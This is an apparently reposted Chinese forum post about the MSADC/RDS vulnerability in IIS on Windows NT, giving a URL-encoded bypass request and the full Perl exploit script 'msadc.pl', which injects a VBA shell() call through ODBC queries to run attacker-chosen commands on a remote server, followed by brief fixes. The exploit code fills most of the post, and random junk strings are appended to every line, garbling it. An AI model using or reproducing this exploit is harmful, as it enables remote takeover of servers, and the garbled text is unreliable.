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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) GPhl4#'  
enNiI$H]`_  
涉及程序: c3*t_!@oC  
Microsoft NT server ,r^M?>  
jCAC `  
描述: >h2%[j=  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 w@-PqsF  
.roqEasu8  
详细: /yz=Cjoz  
如果你没有时间读详细内容的话,就删除: )3YtIH_  
c:\Program Files\Common Files\System\Msadc\msadcs.dll GuZ ( &G6*  
有关的安全问题就没有了。 X{n- N5*  
(BxJryXm  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 o@]So(9f  
[XRCLi}  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 w;}@'GgL  
关于利用ODBC远程漏洞的描述,请参看: E5el?=,i  
u~ ~R9.  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm k%wn0Erd  
RCTQhTy=  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 pL1Q7&&c0  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp TSAU?r\P  
<H1 `  
这里不再论述。 ^J Z^>E~  
, P'P^0qJ  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: {e|*01hE  
G$'jEa<:u  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ANIz, LS  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! B/5=]R  
QB:i/9  
4k/V BZB  
#将下面这段保存为txt文件,然后: "perl -x 文件名" E3@QI?n^^  
=.]l*6W V  
#!perl [S.ZJUns  
# RsU3Gi_Zdz  
# MSADC/RDS 'usage' (aka exploit) script kt[:@Nda9  
# I/VxZ8T  
# by rain.forest.puppy D'Z|}(d&  
# P o jmC  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me E^GHVt/.  
# beta test and find errors! Tmh(= TB'  
a$"ib  
use Socket; use Getopt::Std; !3mA 0-!+  
getopts("e:vd:h:XR", \%args); I -Xlx<  
VL[R(a6c <  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; -/_L*oYli  
AC O)Dt(Y  
if (!defined $args{h} && !defined $args{R}) { 8<mjh0F-,  
print qq~ sS&Z ,A  
Usage: msadc.pl -h <host> { -d <delay> -X -v } e *(b  
-h <host> = host you want to scan (ip or domain) \;VhYvEH  
-d <seconds> = delay between calls, default 1 second )!g{Sbl  
-X = dump Index Server path table, if available EF pIp4_Y  
-v = verbose #-3=o6DCK  
-e = external dictionary file for step 5 K.G$]H  
=. y*_Ja  
Or a -R will resume a command session pA{ 5V9  
*Nyev]8  
~; exit;} {k4CEt;  
UA[,2MBp  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; r1ws1 rr=  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} wU#F_De)R:  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 2L AYDaS  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); V`adWXu  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} -(`OcGM'L  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } L=2y57&Y  
QDpEb=|S  
if (!defined $args{R}){ $ret = &has_msadc; as=m`DqOh  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} =0 @&GOq  
&t5{J53  
print "Please type the NT commandline you want to run (cmd /c assumed):\n"  tvXW  
. "cmd /c "; #j@71]GI  
$in=<STDIN>; chomp $in; 'Dvv?>=&  
$command="cmd /c " . $in ; mh<=[J,%p  
eI1GXQ%  
if (defined $args{R}) {&load; exit;} kc/{[ME  
L lBN-9p  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; liR ?  
&try_btcustmr; :K\mN/ x  
=%zLh<3v  
print "\nStep 2: Trying to make our own DSN..."; `/Nm 2K  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; yq+!czlZ  
[^8n0{JiN  
print "\nStep 3: Trying known DSNs..."; e]=!"nJ+  
&known_dsn; -XRn~=5   
3nY1[,  
print "\nStep 4: Trying known .mdbs..."; Y(\T- bI  
&known_mdb; )BfT7{WN  
qQ!1t>j+H  
if (defined $args{e}){ Soie^$ Y  
print "\nStep 5: Trying dictionary of DSN names..."; {0! ~C=P  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ZVeaTK4_ t  
ZoKcJA  
print "Sorry Charley...maybe next time?\n";  0l;<5  
exit; H+ h07\? %  
x8;`i$  
############################################################################## *9)SmS s  
b3wM;jv  
sub sendraw { # ripped and modded from whisker mMMQ|ea  
sleep($delay); # it's a DoS on the server! At least on mine... o ]IjK  
my ($pstr)=@_; #,{+3Y&5-+  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ^m_yf|D$  
die("Socket problems\n"); Hi_ G  
if(connect(S,pack "SnA4x8",2,80,$target)){ bCZ g cN  
select(S); $|=1; SWp1|.=Sm  
print $pstr; my @in=<S>; zqDR7+]  
select(STDOUT); close(S); ogFKUD*h&>  
return @in; x{NX8lN  
} else { die("Can't connect...\n"); }} z} '!eCl  
"P)*FT  
############################################################################## 2oJb)CB  
^-FRTC  
sub make_header { # make the HTTP request |[9?ma  
my $msadc=<<EOT CF|]e:  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 GE|+fYVM-$  
User-Agent: ACTIVEDATA WvHw{^(lF  
Host: $ip (H oqR  
Content-Length: $clen ,G#.BLH cX  
Connection: Keep-Alive g'];Estb~  
1 nvTce  
ADCClientVersion:01.06 cI]WrI2CQa  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ?Qb<-~~ j1  
@\&m+;6  
--!ADM!ROX!YOUR!WORLD! smG>sEp2  
Content-Type: application/x-varg _2btfY1U  
Content-Length: $reqlen ;,&8QcSVY  
&[2U$`P`V  
EOT iJnU%  
; $msadc=~s/\n/\r\n/g; uP\lCqK,  
return $msadc;} Pmi#TW3X  
/~4 "No@  
############################################################################## (;VVC Aoy  
`Q+moX  
sub make_req { # make the RDS request kj+#Tn F-  
my ($switch, $p1, $p2)=@_; -T6(hT\  
my $req=""; my $t1, $t2, $query, $dsn; CIjZG?A  
ND<!4!R^  
if ($switch==1){ # this is the btcustmr.mdb query 8@NH%zWBp  
$query="Select * from Customers where City=" . make_shell(); XPB9~::  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . :|o<SZ  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} kP xa7  
pj?XLiM54%  
elsif ($switch==2){ # this is general make table query 0?WcoPU  
$query="create table AZZ (B int, C varchar(10))"; bslrqUk_`=  
$dsn="$p1";} Y2o6kS{x  
)Qm[[pnj  
elsif ($switch==3){ # this is general exploit table query "uLjIIl  
$query="select * from AZZ where C=" . make_shell(); +!f=jg06  
$dsn="$p1";} ? muzU.h"z  
B= keBO](@  
elsif ($switch==4){ # attempt to hork file info from index server g~UUP4<$"  
$query="select path from scope()"; 4h6k`ie!$  
$dsn="Provider=MSIDXS;";} 7?OH,^  
`RMI(zI3g.  
elsif ($switch==5){ # bad query m8623D B"  
$query="select"; QZ `tNq :/  
$dsn="$p1";} :a:[.  
iVB^,KQ@  
$t1= make_unicode($query); 569}Xbc/  
$t2= make_unicode($dsn); $4jell  
$req = "\x02\x00\x03\x00"; Z%Z9oJ:  
$req.= "\x08\x00" . pack ("S1", length($t1)); Gamr6I"K  
$req.= "\x00\x00" . $t1 ; kF7(f|*  
$req.= "\x08\x00" . pack ("S1", length($t2)); I *c;H I  
$req.= "\x00\x00" . $t2 ; 0'&X T^"  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; (><zsLs&  
return $req;} PiFD^w  
UR(-q  
############################################################################## W~_t~Vg5  
Y+/JsOD  
sub make_shell { # this makes the shell() statement D .vw8H3  
return "'|shell(\"$command\")|'";} j QU"Ved  
K!D o8|  
############################################################################## P?BGBbC  
{f9{8-W <u  
sub make_unicode { # quick little function to convert to unicode 0oy-os  
my ($in)=@_; my $out; 0=wK:Ex  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ]0D}T'wM  
return $out;} X5YiFLH>y\  
ThW,Y" l  
############################################################################## @1zQce>  
*zO&N^X.4  
sub rdo_success { # checks for RDO return success (this is kludge) cYNJhGY  
my (@in) = @_; my $base=content_start(@in); R E1 /"[t  
if($in[$base]=~/multipart\/mixed/){ 9iN.3/T8  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} HG/p$L*  
return 0;} # N~,F@t  
w",? Bef  
############################################################################## G ;?qWB,  
Ou'?]{  
sub make_dsn { # this makes a DSN for us l0*Gb  
my @drives=("c","d","e","f"); }awzO#  
print "\nMaking DSN: "; ? _\$  
foreach $drive (@drives) { 4^6.~6a  
print "$drive: "; 7dihVvL $  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . SFH-^ly&D  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" DaNW~rd{  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); wo5ZxM  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ^s\3/z>b4!  
return 0 if $2 eq "404"; # not found/doesn't exist qdCWy  
if($2 eq "200") { {Hr$wa~  
foreach $line (@results) { wLuv6\E  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} {|9}+ @5Q1  
} return 0;} 59(U`X  
QD{:vG g  
############################################################################## iq?#rb P#I  
9^P2I)aD  
sub verify_exists { P[t$\FS  
my ($page)=@_; Kex[ >L10G  
my @results=sendraw("GET $page HTTP/1.0\n\n"); @|bP+8oU  
return $results[0];} g|PC$p-z+  
"Clz'J]{  
############################################################################## 8 l/[(] &  
e2CV6F@a  
sub try_btcustmr { %u?HF4S'  
my @drives=("c","d","e","f");  Gt9wR  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 4^c- D  
SEKN|YQV/t  
foreach $dir (@dirs) { U7&x rif  
print "$dir -> "; # fun status so you can see progress "rXOsX\;  
foreach $drive (@drives) { ]O:M$ $  
print "$drive: "; # ditto ps1YQ3Ep&  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; L{ gE'jCC  
$reqlenlen=length( "$reqlen" ); ,xJrXPW  
$clen= 206 + $reqlenlen + $reqlen; $ &5w\P  
g1DmV,W-Q  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 8OWmzY_=  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} $awi>#[  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} oFg5aey4  
8U~.\`H-PT  
############################################################################## Vu0 KtG9  
B~r}c4R{7  
sub odbc_error { \zXlN  
my (@in)=@_; my $base; x:K?\<  
my $base = content_start(@in); ~#M d"3  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this xu%'GZ,o9  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; KB{RU'?f|  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j'Y / H5  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ex@`O+  
return $in[$base+4].$in[$base+5].$in[$base+6];} tP ~zKU  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; .M|>u_<Qd  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . f<[jwhCWV  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} #*q2d  
s #:%x#  
############################################################################## c yQ(fIYl  
HgJb4Fi  
sub verbose { 'TN)Lb*  
my ($in)=@_; w=r&?{  
return if !$verbose; 2x$x; \*j  
print STDOUT "\n$in\n";} L3y5a?G  
vTr34n  
############################################################################## A,i()R'I  
t> Q{yw  
sub save { x49!{}  
my ($p1, $p2, $p3, $p4)=@_; k/&]KYwu  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; P1 +"v*  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; _rQUE ^9  
close OUT;} 90 { tIX  
7u11&(Lz  
############################################################################## 7-iIay1h"  
lhn8^hOJ/  
sub load { {'3D1#SK  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; kv|,b  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); _ P ,@  
@p=<IN>; close(IN); ESQ!@G/n  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); g%J./F=@3  
$target= inet_aton($ip) || die("inet_aton problems"); sn\;bq  
print "Resuming to $ip ...";  o sdOw8  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; _pDjg%A>n  
if($p[1]==1) { =(U/CI  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 0TE@xqW  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; "|LQK0q3  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); euRss#;  
if (rdo_success(@results)){print "Success!\n";} Z-Wfcnk  
else { print "failed\n"; verbose(odbc_error(@results));}} :Am-8  
elsif ($p[1]==3){ o 5Zyh26  
if(run_query("$p[3]")){ [$:,-Q@  
print "Success!\n";} else { print "failed\n"; }} "h$R ]~eG  
elsif ($p[1]==4){ :=g.o;(/N  
if(run_query($drvst . "$p[3]")){ ?#[)C=p]z  
print "Success!\n"; } else { print "failed\n"; }} <,39_#H?F3  
exit;} W04av_u 5  
P;foK)AM  
############################################################################## 4!%]fg}Um  
NXoK@Y  
sub create_table { 744=3v  
my ($in)=@_; =:$) Z  
$reqlen=length( make_req(2,$in,"") ) - 28; w$Ux?y- L  
$reqlenlen=length( "$reqlen" ); to3?$-L  
$clen= 206 + $reqlenlen + $reqlen; aPIr_7e  
my @results=sendraw(make_header() . make_req(2,$in,"")); Ygj6(2  
return 1 if rdo_success(@results); 3A0_C?E  
my $temp= odbc_error(@results); verbose($temp); )q+4k m6  
return 1 if $temp=~/Table 'AZZ' already exists/; AqYxWk3>  
return 0;} DnyYMe!r  
`q?RF+  
############################################################################## +mWjBY  
*re 44  
sub known_dsn {  Dt}dp_  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go F?*k}]Gi  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", G\rj?%  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", rZC3\,W  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); !'c| N9  
uCUu!Vfeg  
foreach $dSn (@dsns) { OhWC}s  
print "."; |$w*RI0C  
next if (!is_access("DSN=$dSn")); 19y 0$e_V  
if(create_table("DSN=$dSn")){ OXtBJYe  
print "$dSn successful\n"; B3b,F#  
if(run_query("DSN=$dSn")){ pDDG_4E>  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { !RMS+Mm?  
print "Something's borked. Use verbose next time\n";}}} print "\n";} h%b hrkD  
fGO*% )  
############################################################################## g5}7y\  
FN{/.?w(  
sub is_access { &+;uZ-x  
my ($in)=@_; cIZc:   
$reqlen=length( make_req(5,$in,"") ) - 28; `!Ln|_,d  
$reqlenlen=length( "$reqlen" ); RK)l8c}  
$clen= 206 + $reqlenlen + $reqlen; U>3 >Ex  
my @results=sendraw(make_header() . make_req(5,$in,"")); .ev\M0Dt  
my $temp= odbc_error(@results); {visv{R<  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); }u^:MI  
return 0;} -N^ =@Yx)  
' o=E!?  
############################################################################## 22bT3  
@a;sV!S{  
sub run_query { >\\5"S f  
my ($in)=@_; Vu|dV\N0*  
$reqlen=length( make_req(3,$in,"") ) - 28; `QLowna  
$reqlenlen=length( "$reqlen" ); j;0ih_Z@4W  
$clen= 206 + $reqlenlen + $reqlen; i+U51t<  
my @results=sendraw(make_header() . make_req(3,$in,"")); !$E~\uT  
return 1 if rdo_success(@results); |0w~P s  
my $temp= odbc_error(@results); verbose($temp); mVrKz  
return 0;} \9jpCNdJ  
!u0U5>ccw  
############################################################################## KZ\dB;W< |  
?'LM7RE$X6  
sub known_mdb { r%[1$mTOR  
my @drives=("c","d","e","f","g"); S-,kI  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 7,su f }=  
my $dir, $drive, $mdb; Su4h'&xx  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; R#fy60  
;y>'yq}  
# this is sparse, because I don't know of many Jk~UEqr+  
my @sysmdbs=( "\\catroot\\icatalog.mdb", cUM_ncYOP  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ] zIfC>@R  
"\\system32\\certmdb.mdb", @ V5S4E  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% (\uA AW"  
3GINv3_  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 7 s-`QdWX  
"\\cfusion\\cfapps\\forums\\forums_.mdb", y[p6y[r*  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Bfn]-]>sD  
"\\cfusion\\cfapps\\security\\realm_.mdb", C zpsqTQ  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", B%(K0`G#X  
"\\cfusion\\database\\cfexamples.mdb", Fj3^ #ly  
"\\cfusion\\database\\cfsnippets.mdb", g`{Dxb,t  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", hs,5LV)|y  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", r&/D~g\"|[  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Si[eAAd' :  
"\\cfusion\\database\\smpolicy.mdb", $l43>e{E  
"\\cfusion\\database\cypress.mdb", hgif]?:C<  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", af^@ .$ |  
"\\website\\cgi-win\\dbsample.mdb", Yoe les-  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", nO:HB.&@  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" CH#kvR2  
); #these are just ZK!4>OuH`  
foreach $drive (@drives) { e mC\i  
foreach $dir (@dirs){ Nq  U9/  
foreach $mdb (@sysmdbs) { ndB@J*Imu  
print "."; S#hu2\9D,  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ gm}C\q9  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; FBbm4NB  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ &BTfDsxAK  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; B~BUW WMfp  
} else { print "Something's borked. Use verbose next time\n"; }}}}} .yG8B:7N2  
+}\29@{W  
foreach $drive (@drives) { i 63?"  
foreach $mdb (@mdbs) { vnF g%M!  
print "."; i!y\WaCp  
if(create_table($drv . $drive . $dir . $mdb)){ >pa\n9=Q^  
print "\n" . $drive . $dir . $mdb . " successful\n"; =Y:5,.U  
if(run_query($drv . $drive . $dir . $mdb)){ @Z,qu2~|!  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; (O Qi%/Oy  
} else { print "Something's borked. Use verbose next time\n"; }}}} q>c+bo 6  
} h#;?9DP  
[I_BCf  
############################################################################## &7lk2Q\  
{MA@ A5  
sub hork_idx { =cknE=  
print "\nAttempting to dump Index Server tables...\n"; m_~y   
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 9PWm@ Nlf  
$reqlen=length( make_req(4,"","") ) - 28; u`nt\OF  
$reqlenlen=length( "$reqlen" ); EqYz,%I%  
$clen= 206 + $reqlenlen + $reqlen; 0.3^   
my @results=sendraw2(make_header() . make_req(4,"","")); a?l_-Fi  
if (rdo_success(@results)){ !HbqbS22  
my $max=@results; my $c; my %d; 37,L**Dgs  
for($c=19; $c<$max; $c++){ .;cxhgU  
$results[$c]=~s/\x00//g; <&*#famX  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; &boj$ k!g[  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; i<0D Z_rub  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; o<~-k,{5P  
$d{"$1$2"}="";} m*OLoZVy  
foreach $c (keys %d){ print "$c\n"; } "@aq@mY@  
} else {print "Index server doesn't seem to be installed.\n"; }} 55(J&q  
`s#sE.=o  
############################################################################## ]9dx3<2_I  
t4C<#nfo  
sub dsn_dict { (xjqB{U  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 6MrZ6dz^  
while(<IN>){ #R5we3&p  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; / O|Td'Z  
next if (!is_access("DSN=$dSn")); k q/t]%(  
if(create_table("DSN=$dSn")){ N,h1$)\B#  
print "$dSn successful\n"; VM=hQYe  
if(run_query("DSN=$dSn")){ {_?T:`  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { {c&qB`y<.  
print "Something's borked. Use verbose next time\n";}}} 5F% h>tqh  
print "\n"; close(IN);} jM{(8aUG  
t00\yb^vJ8  
############################################################################## 6sO  
@Pd) %'s  
sub sendraw2 { # ripped and modded from whisker .ou!g&xu  
sleep($delay); # it's a DoS on the server! At least on mine... 8  /5sv  
my ($pstr)=@_; Smi%dp.  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || H^]Nmd8Q)  
die("Socket problems\n"); Q@ykQ  
if(connect(S,pack "SnA4x8",2,80,$target)){ L?AM&w-cg9  
print "Connected. Getting data"; ecM4]U  
open(OUT,">raw.out"); my @in; "``W6W-(  
select(S); $|=1; print $pstr; 3(cU)  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} A%.J%[MVz  
close(OUT); select(STDOUT); close(S); return @in; pE$|2v  
} else { die("Can't connect...\n"); }} >_|Z{:z]d.  
Q$/V)0  
############################################################################## /8 e2dw: \  
s ZlJ/_g  
sub content_start { # this will take in the server headers OHx,*}N  
my (@in)=@_; my $c; }wa}hIqx  
for ($c=1;$c<500;$c++) { fho=<|-  
if($in[$c] =~/^\x0d\x0a/){ tjBh$)  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } |iLx $P6  
else { return $c+1; }}} !:]s M-cCt  
return -1;} # it should never get here actually 94Kuy@0:+  
!$%/ rQ9  
############################################################################## 9~LpO>-  
_"R3N  
sub funky { 8MYLXW6  
my (@in)=@_; my $error=odbc_error(@in); UE}8Rkt  
if($error=~/ADO could not find the specified provider/){ h(+m<J  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; BLl%D  
exit;} =!1-AR%.^  
if($error=~/A Handler is required/){ xI.Orpw  
print "\nServer has custom handler filters (they most likely are patched)\n"; 'xLM>6[wz  
exit;} lp37irI:  
if($error=~/specified Handler has denied Access/){ k;"R y8[k  
print "\nServer has custom handler filters (they most likely are patched)\n"; kR`6s  
exit;}} ! 0>!tW  
lOWB^uS%  
############################################################################## 2XETQ;9  
JxMyeo%gv  
sub has_msadc { m<X#W W)N  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); +SZ%&  
my $base=content_start(@results); }"g21-T^  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); i?&4SG+2~K  
return 0;} rzYobOKd#  
8|S1|t,  
######################## FcA)RsMI*  
Qwp\)jVi  
-@gJqoo>  
解决方案: qb>|n1F_  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll rE bx%u7Q  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 4acP*LkkQ  
B4\:2hBq  
拿出来充数 哈哈
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